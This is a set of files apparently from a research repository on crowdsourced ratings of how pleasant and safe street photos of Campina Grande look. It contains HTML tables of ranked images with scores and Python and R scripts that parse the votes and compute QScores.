</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_500_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_500_203.jpg 18</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_500_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_500_22.jpg 29</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_500_270.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_500_270.jpg 17</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_500_90.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_500_90.jpg 19</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_54_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_54_112.jpg 4</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_54_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_54_203.jpg 18</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_54_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_54_22.jpg 2</td>
<td><img src="./pioresnotcampina/R._Inácio_Marquês_da_Silva_54_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Inácio_Marquês_da_Silva_54_293.jpg 29</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_130_180.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_130_180.jpg 9</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_130_270.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_130_270.jpg 13</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_130_360.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_130_360.jpg 15</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_130_90.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_130_90.jpg 5</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_190_180.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_190_180.jpg 41</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_190_270.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_190_270.jpg 24</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_190_360.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_190_360.jpg 13</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_190_90.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_190_90.jpg 10</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_248_180.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_248_180.jpg 13</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_248_270.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_248_270.jpg 20</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_248_360.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_248_360.jpg 14</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_248_90.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_248_90.jpg 13</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_284_180.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_284_180.jpg 5</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_284_270.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_284_270.jpg 23</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_284_360.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_284_360.jpg 7</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_284_90.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_284_90.jpg 14</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_360_180.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_360_180.jpg 17</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_360_270.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_360_270.jpg 14</td>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_360_360.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_360_360.jpg 14</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Maciel_Pinheiro_360_90.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Maciel_Pinheiro_360_90.jpg 16</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_188_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_188_135.jpg 52</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_188_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_188_203.jpg 40</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_188_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_188_22.jpg 39</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_188_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_188_315.jpg 41</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_222_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_222_135.jpg 48</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_222_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_222_203.jpg 29</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_222_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_222_22.jpg 55</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_222_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_222_315.jpg 28</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_300_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_300_135.jpg 70</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_300_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_300_203.jpg 36</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_300_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_300_22.jpg 37</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_300_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_300_315.jpg 40</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_370_135.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_370_135.jpg 47</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_370_203.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_370_203.jpg 29</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_370_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_370_22.jpg 40</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_370_315.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_370_315.jpg 62</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_392_112.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_392_112.jpg 49</td>
</tr>
<tr>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_392_22.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_392_22.jpg 47</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_392_225.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_392_225.jpg 44</td>
<td><img src="./pioresnotcampina/R._Manoel_Pereira_de_Araújo_392_293.jpg" width="400" height="300"></td>
<td>./pioresnotcampina/R._Manoel_Pereira_de_Araújo_392_293.jpg 49</td>
</tr>
<tr>
</tr>
</table></body>
<file_sep>import sys
from sets import Set
def parseUserData(lines, outputFileNameAgra, outputFileNameSeg):
""" Reading user data """
usersTasksMatrixAgra = {}
usersTasksMatrixSeg = {}
allTasksAgra = Set([])
allTasksSeg = Set([])
for line in lines:
data = line.split("|")
userID = int(data[0])
tasksIDAgra = eval(data[2])
tasksIDSeg = eval(data[3])
tasksAnswerAgra = eval(data[4])
tasksAnswerSeg = eval(data[5])
allTasksAgra.update(tasksIDAgra)
allTasksSeg.update(tasksIDSeg)
#Agra
if userID in usersTasksMatrixAgra.keys():
tasksInfo = usersTasksMatrixAgra[userID]
else:
tasksInfo = {}
for i in range(0, len(tasksIDAgra)):
tasksInfo[tasksIDAgra[i]] = tasksAnswerAgra[i]
usersTasksMatrixAgra[userID] = tasksInfo
#Seg
if userID in usersTasksMatrixSeg.keys():
tasksInfo = usersTasksMatrixSeg[userID]
else:
tasksInfo = {}
for i in range(0, len(tasksIDSeg)):
tasksInfo[tasksIDSeg[i]] = tasksAnswerSeg[i]
usersTasksMatrixSeg[userID] = tasksInfo
#Iterating through users and tasks in ascending order of IDs
currentTasks = list(allTasksAgra)
currentTasks.sort()
outputFile = open(outputFileNameAgra, 'w')
outputFile.write("userID\t")
for task in currentTasks:
outputFile.write(task+"\t")
outputFile.write("\n")
for userID in usersTasksMatrixAgra.keys():
outputFile.write(str(userID)+"\t")
for task in currentTasks:
if not task in usersTasksMatrixAgra[userID].keys():
outputFile.write("NA\t")
else:
value = usersTasksMatrixAgra[userID][task]
if value == 'NotKnown':
outputFile.write(str(0)+"\t")
elif value == 'Left':
outputFile.write(str(1)+"\t")
elif value == 'Right':
outputFile.write(str(2)+"\t")
outputFile.write("\n")
outputFile.close()
currentTasks = list(allTasksSeg)
currentTasks.sort()
outputFile = open(outputFileNameSeg, 'w')
outputFile.write("userID\t")
for task in currentTasks:
outputFile.write(task+"\t")
outputFile.write("\n")
for userID in usersTasksMatrixSeg.keys():
outputFile.write(str(userID)+"\t")
for task in currentTasks:
if not task in usersTasksMatrixSeg[userID].keys():
outputFile.write("NA\t")
else:
value = usersTasksMatrixSeg[userID][task]
if value == 'NotKnown':
outputFile.write(str(0)+"\t")
elif value == 'Left':
outputFile.write(str(1)+"\t")
elif value == 'Right':
outputFile.write(str(2)+"\t")
outputFile.write("\n")
outputFile.close()
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com ids, tarefas e perfis dos usuarios>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
dataFile.close()
usersTasks = parseUserData(lines, "consenseMatrixAgra.dat", "consenseMatrixSeg.dat")
<file_sep>#!/bin/Rscript
suppressMessages(library(ggplot2, quietly=TRUE))
suppressMessages(library(plyr, quietly=TRUE))
suppressMessages(library(scales, quietly=TRUE))
suppressMessages(library(reshape, quietly=TRUE))
#Gerando percentuais gerais
args <- commandArgs(trailingOnly = TRUE)
data <- read.table(args[1], skip=1)
sorted <- data[order(data$V3),]
write.table(sorted, file="percentualGeralPorTotalDeComparacoes.dat")
<file_sep># coding=utf-8
#Faz a leitura da entrada utilizada para análise do MaxDiff e computa as relações de modo a se computar o QScore de cada alternativa
import sys
from sets import Set
from analisaQScore import *
import numpy
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
left = 'Left'
right = 'Right'
notKnown = 'NotKnown'
votes = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
def saveVote(photo1, photo2):
if not votes[possibleQuestions[0]].has_key(photo1):
votes[possibleQuestions[0]][photo1] = {}
if not votes[possibleQuestions[0]][photo1].has_key(photo2):
votes[possibleQuestions[0]][photo1][photo2] = []
votes[possibleQuestions[0]][photo1][photo2].append(left)
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com respostas no formato do MaxDiff>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
lines = dataFile.readlines()
allPhotos = set([])
for line in lines:
lineData = line.split(",")
winner = ""
loser = ""
middle = []
#print lineData
for index in range(0, len(lineData)):
allPhotos.add(index)
opinion = lineData[index].strip("\n ")
if opinion == "-1":
loser = index
elif opinion == "1":
winner = index
elif opinion == "0":
middle.append(index)
saveVote(winner, loser)
for photo in middle:
saveVote(winner, photo)
saveVote(photo, loser)
#Dealing with all answers for the same two photos and sampling the answer to consider at each iteration
allQScores = {possibleQuestions[0]:{}}
for samples in range(0, 10):
resetCounters()
for question, qDic in votes.iteritems():
for photo1, photosDic in qDic.iteritems():
for photo2, votesList in photosDic.iteritems():
currentAnswers = votesList
if qDic.has_key(photo2) and qDic[photo2].has_key(photo1):
otherAnswers = qDic[photo2][photo1]
for answer in otherAnswers:
currentAnswers.append(right)
answer = random.sample(currentAnswers, 1)[0]
if answer == left:
saveWin(photo1, photo2, question)
elif answer == right:
saveWin(photo2, photo1, question)
qscores = computeQScores(allPhotos)
for question, qDic in qscores.iteritems():
if question == possibleQuestions[1]:
continue
for photo, qscore in qDic.iteritems():
if not allQScores[question].has_key(photo):
allQScores[question][photo] = []
allQScores[question][photo].append(qscore)
for question, qDic in allQScores.iteritems():
for photo, qscoreList in qDic.iteritems():
print(question.strip(' \t\n\r')+ "\t" + str(photo)+ "\t" + str(numpy.mean(qscoreList))+"\t" + str(qscoreList).strip("[ ]").replace(",", " ")+'\n')
<file_sep><body style="overflow:scroll">
<h2>agrad%C3%A1vel?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg 6.55188186022</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg 6.34227681751</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg 6.24033990296</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg 6.12648729275</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg 6.12590896766</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg 6.1088227005</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg 6.09399237196</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg 6.02752837926</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg 5.99919276667</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg" width="400" height="300"></td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg 4.29947504961</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg 4.28761323264</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg 4.25870904137</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg 4.25374961173</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg 4.24970182765</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg 4.23005430537</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg 4.22228081562</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg 4.17142876938</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg 4.16494187975</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg 4.13284323872</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg 4.08512146642</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg 4.03374972024</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg 3.96733587184</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg 3.96577427593</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg 3.89826645478</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg 3.8865226538</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg 3.82098119128</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg 3.75166270978</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg 3.66483208322</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg 3.65833868461</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg 3.65775024789</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg 3.57539911154</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg 3.43495520134</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg 3.40731404526</td>
</tr>
<tr>
</tr>
</table><h2>seguro?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg 6.74151080742</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg 6.70384160489</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_270.jpg 6.57259474582</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_270.jpg 6.47217370865</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__90.jpg 6.32296359434</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_180.jpg 6.31635202943</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_180.jpg 6.27132926945</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg 6.17175872521</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_90.jpg 6.15210047324</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg 6.08470643573</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg 6.07410533315</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg 6.02461409637</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__270.jpg 6.0022169918</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg 5.90718934223</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg 5.83048900735</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_270.jpg 5.80827393774</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_90.jpg 5.76329355364</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg 5.76283750796</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg 5.74388442654</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg 5.73976413298</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg 5.70052332238</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg 5.61768052696</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg 5.58993248923</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg 5.58561001716</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_270.jpg 5.54926059845</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg 5.54197004101</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg 5.4939402695</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_90.jpg 5.49011747433</td>
